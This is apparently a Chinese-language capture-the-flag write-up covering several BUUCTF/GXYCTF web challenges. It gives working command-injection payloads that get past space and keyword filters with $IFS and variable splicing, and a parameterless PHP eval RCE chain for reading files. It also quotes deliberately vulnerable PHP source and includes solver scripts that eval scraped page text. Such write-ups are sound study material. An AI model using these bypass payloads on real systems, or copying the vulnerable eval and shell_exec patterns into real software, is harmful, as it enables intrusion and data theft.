打开页面:
显然是命令执行。GET传入ip=127.0.0.1 | ls
尝试用cat读取,发现过滤了空格,可以利用$IFS$9
、$IFS
来绕过,(${IFS}
不行,花括号被过滤了),读取flag文件,发现对flag也进行了过滤,尝试用*绕过,发现也过滤了,读取一下index.php,代码如下:
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "";
print_r($a);
}
?>
由于对flag进行了过滤,所以要使用变量拼接,且需要改变顺序。
payload:?ip=127.0.0.1;e=g;cat$IFSfla$e.php
奇怪的是在BUUCTF里我没有复现成功
打开题目,发现一个.git源码泄露,利用githack下载下来,发现是index.php的源码,如下:
include "flag.php";
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
可以看到过滤很严格:
data://
、filter://
、phar://
、php://
这四个协议过滤了,不能用伪协议读取文件。eval($_GET['exp'])
典型的无参数RCE。
但由于禁了大部分函数,所以我们只能读取文件。
读取文件我们要分两个阶段:读取目录和读取文件
读取目录
首先是最基础的scandir()
,该函数会返回指定目录中的文件和目录的数组。
然后是print_r()
,该函数可以将数组内容输出出来。(var_dump会将数组存储的数据类型、长度、内容一并输出)。
由于不能有a(‘abc’)的出现,所以不可能直接用print_r(scandir(’.’));,需要利用函数构造出.
来。
localeconv()
这个函数会返回一包含本地数字及货币格式信息的数组,该数组的第一项就是.
。
current()
该函数会数组中当前元素的值返回(pos()是它的别名)。
于是我们构造print_r(scandir(current(localeconv())));
即可读取到目录。
(一般来说,我们利用getcwd()
获取当前目录,dirname()
向上跳转,chdir()
修改当前目录)
读取文件
利用read_file()
和highlight_file()
、show_source()
等文件包含函数及其别名即可读取文件
利用如下函数可以读取下一个或上一个文件。
利用array_reverse()
对数组进行倒序,array_filp
将数组的键变成值,值变成键。
看大佬的wp还有一种读取方法:session_id(session_start())
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
效果如图:
payload:?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
参考文章:
https://www.cnblogs.com/wangtanzhi/p/12260986.html#autoid-0-1-0
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
文件上传漏洞。
很简单,就是.htaccess文件解析漏洞。
也很简单,就是脚本提交运算,之前bugku做过一题类似的。
脚本如下:
# -*- coding: UTF-8 -*-
#GXYCTF strongest mind脚本
import requests
import re
url = "http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php"
try:
s = requests.Session()
source = s.get(url)
r = re.search(r"(\d+)+[ ][\+\-][ ](\d+)", source.text).group()
r = r.replace(" ", "")
result = eval(r)
print result
data = {
"answer": result}
a = s.post(url, data=data)
for i in range(0,1000):
r = re.search(r"(\d+)+[ ][\+\-][ ](\d+)", a.text).group()
r = r.replace(" ", "")
result = eval(r)
print result
data = {
"answer": result}
a = s.post(url,data=data)
if(i==999):
print a.text
except:
print "something wrong"
官方脚本如下:
#GXYCTF strongest mind 官方exp
from requests import *
import re
s = session()
a = s.get("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php", data = {
"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php", data = {
"answer" : c})
print(a.text)
BUUCTF里还有几个SQL注入的题,以后有时间再写